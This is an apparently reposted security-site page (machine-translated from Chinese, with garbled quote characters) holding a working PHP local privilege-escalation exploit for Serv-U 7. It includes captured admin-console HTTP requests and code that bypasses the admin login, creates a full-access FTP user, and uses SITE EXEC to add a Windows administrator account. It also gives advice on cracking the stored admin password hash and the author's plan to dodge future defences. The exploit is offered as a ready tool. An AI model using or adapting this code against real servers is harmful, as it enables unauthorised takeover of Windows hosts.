Lucene search

K
myhack58ไฝšๅMYHACK58:62200923871
HistoryJul 13, 2009 - 12:00 a.m.

serv-u 7 local exp local overflow mention the right-vulnerability warning-the black bar safety net

2009-07-1300:00:00
ไฝšๅ
www.myhack58.com
19

<?
/*
serv-u 7 local exp ver 1.0
www.inbreak.net
author [email protected] 2008-11-19
modify 2008-11-20
/
/

The following is the main data packet, for everyone to study. If you use asp and other languages and then written once and can reference.
Global user list:
GET /Admin/XML/OrganizationUsers. xml&ID=1 6 1&sync=1 2 2 7 0 7 8 6 2 5 0 7 8&ForceList=1 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: <http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1&gt;
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; . NET CLR 1.1.4322)
Host: 127.0.0.1:4 3 9 5 8
Connection: Keep-Alive
Cookie: domainid=3 8 4 1; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false;
killmenothing;
Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754
581406246bf8

Global c:/RWADNELCRNI:
POST /Admin/XML/Result. xml? Command=AddObject&Object=CServer. 0. DirAccess&Sync=1 2 2 7 0 8 1 2 6 1 6 4 0 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: <http://127.0.0.1:43958/Admin/ServerDir.htm?Page=1&gt;
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:4 3 9 5 8
Content-Length: 6 7
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3 8 4 1; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false; killmenothing; Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754581406246bf8

Access=7 9 9 9&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&

this user c:/RWADNELCRNI:
POST /Admin/XML/Result. xml? Command=AddObject&Object=CUser. 6 1 8 0 6 0. DirAccess&Sync=1 2 2 7 0 8 1 4 3 7 8 2 8 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: <http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1&gt;
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:4 3 9 5 8
Content-Length: 6 7
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3 8 4 1; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false; killmenothing; Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25787a8544280754581406246bf8

Access=7 9 9 9&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&

------------------------------Deficiencies---------------
Look forward to everyone to beautify this tool
For the su to set up the environment too much
Please here fill in theโ€ฆ

*/
?& gt;
<html>
<title>Serv-u 7 local exp ver 1.0 by kxlzx</title>
<body>
<script>
function fun_showDiv(show)
{
document. getElementById(show). style. display=โ€œblockโ€;
}
</script>
<b>Serv-u 7 local exp ver 1.0 by kxlzx</b>
<form id=โ€œform1โ€ name=โ€œform1โ€ method=โ€œpostโ€ action=โ€œ?โ€& gt;
<p><a href=โ€œ#โ€ >admin password</a>
<input type=โ€œtextโ€ name=โ€œadmin_pwdโ€ value=โ€œโ€ />
</p>
<p>directly mention the rights!
<input type=โ€œsubmitโ€ name=โ€œcmdโ€ value=โ€œrightโ€ />
<a href=โ€œ#โ€ >QA</a>
</p>
<pre>

<?

//Global var
$port=4 3 9 5 8;
$host=โ€œ127.0.0.1โ€;
$sessionid=โ€œโ€;
$getuserid=โ€œโ€;
$ftpport=2 1;
$ftpuser=โ€œkxlzx_hackedโ€;
$ftppwd=$_POST[โ€˜admin_pwdโ€™];
$exec_addUser=โ€œsite exec c:/windows/system32/net.exe user โ€œ.$ ftpuser.โ€ โ€œ.$ ftppwd.โ€ /addโ€;
$exec_addGroup=โ€œsite exec c:/windows/system32/net.exe localgroup administrators โ€œ.$ ftpuser.โ€ /addโ€;

if($_POST[โ€˜cmdโ€™]) {

//login-----------------------------------------
$sock_login = fsockopen($host, $port);
$URL=โ€˜/Web%20Client/Login. xml? Command=Login&Sync=1 5 4 3 5 4 3 5 4 3 5 4 3 5 4 3โ€™;
$post_data_login[โ€˜userโ€™] = โ€œโ€;
$post_data_login[โ€˜pwordโ€™] = $ftppwd;
$post_data_login[โ€˜languageโ€™] = โ€œzh%2CCN&โ€;
$ref=โ€œhttp://โ€.$ host.โ€œ:โ€.$ port.โ€œ/? Session=3 9 8 9 3&Language=zh,CN&LocalAdmin=1โ€;
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1 2 8 0);
$sessionid = getmidstr(โ€œ<sessionid>โ€,โ€œ</sessionid>โ€,$result);
if ($sessionid!=โ€œโ€)
echo โ€œlogin successful!\ r\nโ€;
fclose($sock_login);//login-----------------------------------------

//getOrganizationId-------------------------------
$OrganizationId=โ€œโ€;
$sock_OrganizationId = fsockopen($host, $port);
$URL=โ€˜/Admin/ServerUsers. htm? Page=1โ€™;
$postStr = createRequest($port,$host,$URL,โ€œโ€,$sessionid,โ€œโ€);
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId=โ€œโ€;
while(! feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1 0 2 4);
$resultOrganizationId=$resultOrganizationId.$ result;
}
$strTmp = โ€œOrganizationUsers. xml&ID=โ€;
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+1 5);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,โ€œ"โ€));
fclose($sock_OrganizationId);
if ($OrganizationId!=โ€œโ€)
echo โ€œget OrganizationIdโ€.$ OrganizationId." Success!\ r\n";
//getOrganizationId-------------------------------

//getuserid---------------------------------------
$getuserid=โ€œโ€;
$sock_getuserid = fsockopen($host, $port);
$URL=โ€œ/Admin/XML/User. xml? Command=AddObject&Object=COrganization.โ€.$ OrganizationId.โ€œ. User&Temp=1&Sync=5 4 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 3โ€;
$ref=โ€œhttp://โ€.$ host.โ€œ:โ€.$ port.โ€œ/ Admin/ServerUsers. htm? Page=1โ€;
$post_data_getuserid=โ€œโ€;
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1 2 8 0);
$result = getmidstr(โ€œ<var name="ObjectID" val="โ€,โ€œ" />โ€,$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!=โ€œโ€)
echo โ€œget user IDโ€.$ getuserid." Success!\ r\n";
//getuserid---------------------------------------

//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL=โ€œ/Admin/XML/Result. xml? Command=UpdateObject&Object=COrganization.โ€.$ OrganizationId.โ€œ. User.โ€.$ getuserid.โ€œ& amp;Sync=1 2 2 7 0 7 1 1 9 0 2 5 0โ€;
$post_data_adduser[โ€˜LoginIDโ€™] = $ftpuser;
$post_data_adduser[โ€˜FullNameโ€™] = โ€œโ€;
$post_data_adduser[โ€˜Passwordโ€™] = โ€˜!โ€™;
$post_data_adduser[โ€˜ComboPasswordTypeโ€™] = โ€œ%E5%B8%B8%E8%A7%8 4%E5%AF%8 6%E7%A0%8 1โ€;
$post_data_adduser[โ€˜PasswordTypeโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜ComboAdminTypeโ€™] = โ€œ%E6%9 7%A0%E6%9D%8 3%E9%9 9% 9 0โ€;
$post_data_adduser[โ€˜AdminTypeโ€™] = โ€œโ€;
$post_data_adduser[โ€˜ComboHomeDirโ€™] = โ€œ/c:โ€;
$post_data_adduser[โ€˜HomeDirโ€™] = โ€œ/c:โ€;
$post_data_adduser[โ€˜ComboTypeโ€™] = โ€œ%E6%B0%B8%E4%B9%8 5%E5%B8%9 0%E6%8 8%B7โ€;
$post_data_adduser[โ€˜Typeโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜ExpiresOnโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜ComboWebClientStartupModeโ€™] = โ€œ%E6%8F%9 0%E7%A4%BA%E7%9 4%A8%E6%8 8%B7%E4%BD%BF%E7%9 4%A8%E4%BD%9 5%E7%A7%8D%E5%AE%A2%E6%8 8%B7%E7%AB%AFโ€;
$post_data_adduser[โ€˜WebClientStartupModeโ€™] = โ€œโ€;
$post_data_adduser[โ€˜LockInHomeDirโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜Enabledโ€™] = โ€œ1โ€;
$post_data_adduser[โ€˜AlwaysAllowLoginโ€™] = โ€œ1โ€;
$post_data_adduser[โ€˜Descriptionโ€™] = โ€œโ€;
$post_data_adduser[โ€˜IncludeRespCodesInMsgFilesโ€™] = โ€œโ€;
$post_data_adduser[โ€˜ComboSignOnMessageFilePathโ€™] = โ€œโ€;
$post_data_adduser[โ€˜SignOnMessageFilePathโ€™] = โ€œโ€;
$post_data_adduser[โ€˜SignOnMessageโ€™] = โ€œโ€;
$post_data_adduser[โ€˜SignOnMessageTextโ€™] = โ€œโ€;
$post_data_adduser[โ€˜ComboLimitTypeโ€™] = โ€œ%E8%BF%9E%E6%8E%A5โ€;
$post_data_adduser[โ€˜LimitTypeโ€™] = โ€œConnectionโ€;
$post_data_adduser[โ€˜QuotaBytesโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜Quotaโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜Accessโ€™] = โ€œ7 9 9 9โ€;
$post_data_adduser[โ€˜MaxSizeโ€™] = โ€œ0โ€;
$post_data_adduser[โ€˜Dirโ€™] = โ€œ%25HOME%2 5โ€;
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,โ€œhttp://127.0.0.1โ€.โ€œ:โ€.$ port.โ€œ/ Admin/ServerUsers. htm? Page=1โ€);
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1 2 8 0);
fclose($sock_adduser);
echo โ€œAdd User success!\ r\nโ€;
//adduser-----------------------------------------

//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL=โ€œ/Admin/XML/Result. xml? Command=AddObject&Object=CUser.โ€.$ getuserid.โ€œ. DirAccess&Sync=1 2 2 7 0 8 1 4 3 7 8 2 8โ€;
$post_data_addpower[โ€˜Accessโ€™] = โ€œ7 9 9 9โ€;
$post_data_addpower[โ€˜MaxSizeโ€™] = โ€œ0โ€;
$post_data_addpower[โ€˜Dirโ€™] = โ€œ/c:โ€;
$post_data_addpower[โ€˜undefinedโ€™] = โ€œundefinedโ€;
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,โ€œhttp://127.0.0.1โ€.โ€œ:โ€.$ port.โ€œ/ Admin/ServerUsers. htm? Page=1โ€);
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1 2 8 0);
fclose($sock_addpower);
echo โ€œadd the permissions to success!\ r\nโ€;

//addpower-----------------------------------------

//exec-------------------------------
$sock_exec = fsockopen(โ€œ127.0.0.1โ€, $ftpport, &$errno, &$errstr, 1 0);
$recvbuf = fgets($sock_exec, 1 0 2 4);
$sendbuf = โ€œUSER โ€œ.$ ftpuser.โ€\ r\nโ€;
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1 0 2 4);

$sendbuf = โ€œPASS!\r\nโ€;
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1 0 2 4);

$sendbuf = $exec_addUser.โ€œ\ r\nโ€;
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1 0 2 4);
echo โ€œexecutingโ€.$ exec_addUser.โ€œ\ r\n return$recvbuf\r\nโ€;

$sendbuf = $exec_addGroup.โ€œ\ r\nโ€;
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1 0 2 4);

echo โ€œexecutingโ€.$ exec_addGroup.โ€œ\ r\n return$recvbuf\r\nโ€;
fclose($sock_exec);
echo โ€œwell, Your 3 3 8 9 up clean-up ftp users log right now!\ r\nโ€;
//exec-------------------------------

}

/** function createRequest
@author : kxlzx 2008-11-19
@port_post : administrator port $port=4 3 9 5 8;
@host_post : host $host=โ€œ127.0.0.1โ€;
@URL_post : target $URL=โ€˜/Web%20Client/Login. xml? Command=Login&Sync=1 5 4 3 5 4 3 5 4 3 5 4 3 5 4 3โ€™;
@post_data_post : arraylist $post_data[โ€˜userโ€™] = โ€œโ€;โ€ฆ
@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
$data_string=โ€œโ€;
if ($post_data_post!=โ€œโ€)
{
foreach($post_data_post as $key=>$value)
{
$values[]=โ€œ$key=โ€. urlencode($value);
}
$data_string=implode(โ€œ&โ€,$values);
}
$request.=" POST โ€œ.$ URL_post.โ€ HTTP/1.1\r\n";
$request.=" Host: โ€œ.$ host_post.โ€\ r\n";
$request.=" Referer: โ€œ.$ referer.โ€\ r\n";
$request.=" Content-type: application/x-www-form-urlencoded\r\n";
$request.=" Content-length: โ€œ. strlen($data_string).โ€\ r\n";
$request.=" User-Agent: Serv-U\r\n";
$request.=" x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; . NET CLR 1.1.4322)\r\n";
$request.=" Accept: /\r\n";
$request.=" Cache-Contr no-cache\r\n";
$request.=" UA-CPU: x86\r\n";

if ($sessionid!=โ€œโ€)
{
$request.=" Cookie: Session=โ€œ.$ sessionid.โ€\ r\n";
}
$request.=โ€œ\ r\nโ€;
$request.=$ data_string.โ€œ\ r\nโ€;

return $request;
}

//getMidfor2str copy from the internet
function getmidstr($L,$R,$str)
{
$int_l=strpos($str,$L);
$int_r=strpos($str,$R);
If ($int_l>-1&&$int_l>-1)
{
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
return $str_put;
}
else
return โ€œdid not find the required variables, ่ฏท่”็ณป[email protected]โ€;
}
?& gt;
</pre>
</form>
<div id=โ€œadminpassdivโ€ style=โ€œdisplay:noneโ€>
<pre>
The default is empty, if the password is empty, the<b>to fill anything in.& lt;/b>
If modified, the administrator password the default will be here:
<b>C:\Program Files\RhinoSoft. com\Serv-U\Users\Local Administrator Domain\. Archive</b>
File find a MD5 password value.
C:\Program Files\RhinoSoft. com\Serv-U
Is su to the root directory.
Password value of style is(assuming that is 1 2 3 4 5 6)
kx#######################
#Representatives 1 2 3 4 5 6 a 3 2-bit MD5 encryption, and kx is su to the md5 cryptographic algorithm to improve the random 2-bit characters.
After the break the password is<b>kx</b>1 2 3 4 5 6 Remove the kx is the password.
You can for this encryption to generate a dictionary.

auther:kxlzx www.inbreak.net
</pre>
</div>
<div id=โ€œQAdivโ€ style=โ€œdisplay:noneโ€>
<pre>
<b>A, The su7 is the right there are several way?& lt;/b>
There are two forms to get rid of su7 in.
1>, login to the Administrator Console page
==>get the OrganizationId for Add User
==>get the global user of theโ€œnext new user IDโ€
==>add a user
==>add user permissions or add a global user permission
==>user login
==>execute system command to add the system account.
2>, login to the Administrator Console page
==>basic WEB client
==>come to serv-u Directoryโ€“usersโ€“Global user directory
==>upload the one you have defined in the user file
==>user login
==>execute system command to add the system account
While this document uses the<b>first</b>method.
<b>second, the mention of the right to the principle?& lt;/b>
Su7 Management Platform is http, very advanced.
Capture, analysis, found the following walk can be utilized.
1, The administrator from the Management Console open the web page, is not required to verify the password.
2, The administrator if using a URL to open the web page, although the need to enter a password, but no matter what to enter, can enter.โ€œ/? Session=3 9 8 9 3&Language=zh,CN&LocalAdmin=1โ€
3, The administrator can add users there are two, one is a global user, one is a domain user. While the permission set is also two, one is global, one is for the user.
4, The administrator added the user of this package and set the permissions for this pack, is separate.
So, I can capture and then converted into a php socket connection post out.
Finally, in classic ftp login, and exec commands. To improve the right.
In writing php in the process, encountered many problems, such as function not used, etcโ€”_โ€”! I havenโ€™t learned php thanks to theโ€œcloud Shu cowโ€to help you.
In the analysis of the Packet Flow, and found some of the features, the server returns the data, all in xml format. While in the process of data transmission, The design is very classic.
Su7 also has its own database, and he also will own generated an id.
This ID is random, in that you create a user, will first request that the server generate one, generate a good post, modify the id of the user name, password, etc.
Itโ€™s like the oracle of the insert means.

Write tools in the process, encountered a lot of trouble, the biggest trouble is this ID problem, and later analyze it.
To add permissions, but also can make use of this ID.
Thus the tool a total connected 6 times to the server, which several times are:
1, to the landing platform, and use that input any password can be the landing page address. Returns a sessionid, this sessionid in the future of the package are used up.
2, get the OrganizationId for Add User
3, to request a user ID.
4, modify the ID of the login user name, and password.
5, modify the ID of the permission, plus the c drive write delete execute etc.
6, this connection is doing bad, use the previous add the user to perform system commands.
<b>three, why should I display a success, but not up there?& lt;/b>
It depends on error code, here even very ashamed, and did not write a detailed error code of the judge.
Generally have the following several situations:
1, It may be because the administrator password is wrong.
Referring to the administrator password of the connection.
2, it may be because the administrator limits the execution of the SITE EXEC.
To be program modifications, the program can be added to a so that he does not limit function.
3, may be a program problem.
<b>4, why the author has so many reasons not to change?& lt;/b>
Donโ€™t you see? Once the things done to perfection, that the comparison system of the defense program came out.
If imperfect, let him think we this point means that the defense system will also think so.
Do not believe it, over a period of time, the defensive scheme out, there certainly is one:โ€œto modify the site exec is not access.โ€
When the time comes, Iโ€™ll write a function, put this thing changed back.
So, like everyone is promoted to XXXX, Iโ€™ll solve XXXX problem. Everyone first so play it.:)

auther:kxlzx www.inbreak.net

</pre>
</div>
</body>
</html>